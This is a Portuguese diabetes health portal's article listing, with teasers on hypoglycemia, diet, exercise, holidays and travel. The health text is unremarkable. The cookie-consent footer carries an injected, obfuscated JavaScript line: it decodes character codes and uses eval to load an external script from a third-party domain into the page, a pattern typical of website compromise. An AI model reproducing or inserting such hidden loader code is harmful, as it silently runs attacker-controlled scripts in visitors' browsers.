Como Viver Melhor - Portal Diabetes & Você

Hipoglicemia sem sintomas

Como Viver Melhor, Cuidados e Tratamentos 6

O que é hipoglicemia? Pessoas com diabetes estão sujeitas a terem crises de hipoglicemia. Aquelas em que os níveis de açúcar no sangue estão abaixo dos níveis esperados normalmente, que em jejum devem estar entre 70 e 99 mg/dL de sangue e até 2 horas após uma refeição, devem ser …

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Carnaval sem imprevistos com o diabetes

Como Viver Melhor, Cuidados e Tratamentos 0

Os cuidados com uma alimentação balanceada e uma hidratação eficaz são fundamentais para garantir toda a energia e disposição que os dias de Carnaval exigem. Na maioria das vezes, as pessoas não se preocupam com os cuidados de uma alimentação diferenciada durante o Carnaval. Algumas medidas podem ser tomadas para …

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Alimentos saudáveis: controle o diabetes

Como Viver Melhor, Dieta e Nutrição 7

foto de alimentos saudáveis, frutas (uva verde, pêssego, morangos) e verduras (pepino, tomates, brocolis). Tambem temos ao centro um copo de leite e um pote de iorgute

Escolher se alimentar de forma saudável pode ajudar seu organismo no equilíbrio do nível de açúcar no sangue. Mas quais são esses alimentos saudáveis? Por muitas vezes, esta escolha não é fácil. E um guia de alimentos no formato de pirâmide auxilia você a escolher alimentos saudáveis para manter sua …

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Exercícios para diabéticos: 5 Motivos para você começar agora!

Como Viver Melhor, Cuidados e Tratamentos, Dieta e Nutrição, Sem categoria 0

Manter o corpo em movimento é importante para qualquer pessoa que queira ter uma vida saudável, não é mesmo? Iniciar um plano de atividade física é muito fácil, o difícil é manter este plano de atividade física com regularidade. A maioria dos exercícios para diabéticos são bem simples, o que …

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Fim de Ano e Diabetes: 16 dicas para aproveitar as festas

Como Viver Melhor, Cuidados e Tratamentos, Dieta e Nutrição 0

fundo claro com luzes de natal estrela vermelha com detahes em branco calho de pinhero e no fundo um pinhero de natal enfeitado de branco desfocado

As comemorações de fim de ano (Natal e Ano Novo) são um verdadeiro convite para passar um pouquinho da conta nas refeições e bebidas, não é mesmo? Nesta época de festas é complicado manter a mesma alimentação saudável do dia a dia. Sabemos que evitar as armadilhas da mesa farta …

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Dicas de Viagem para quem tem Diabetes

Como Viver Melhor, Cuidados e Tratamentos 2

A IMAGEM APRESENTA UMA BOLSA DE VIAGEM DE MÃO NA COR MARROM, UM PEDAÇO DE JANELA E CORTINA EM BRANCO E UMA METADE DE CADIRA DE PLÁSTICO BRANCO COM OS PÉS EM TOM DE MADEIRA. pISO DE TÁBUA CORRIDA

Férias é sinônimo de viagens, e isso significa fugir da rotina, não é mesmo?! Quando vamos a um lugar distante, em que ficamos várias horas sentados, nosso gasto calórico é mínimo, sendo o consumo de alimentos muito maior que este gasto. Por este motivo, temos que ter uma “carta na …

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Atalho x Diabetes

Como Viver Melhor 0

Quem nunca pegou um atalho levanta a mão! Segundo o dicionário, atalho quer dizer: Caminho fora da estrada principal, pelo qual se encurtam distâncias. Usamos atalhos para chegar mais cedo a um compromisso, nas teclas do computador para executar uma ação mais rapidamente, no smartphone para acessar nossos aplicativos …

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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/674867468/t);
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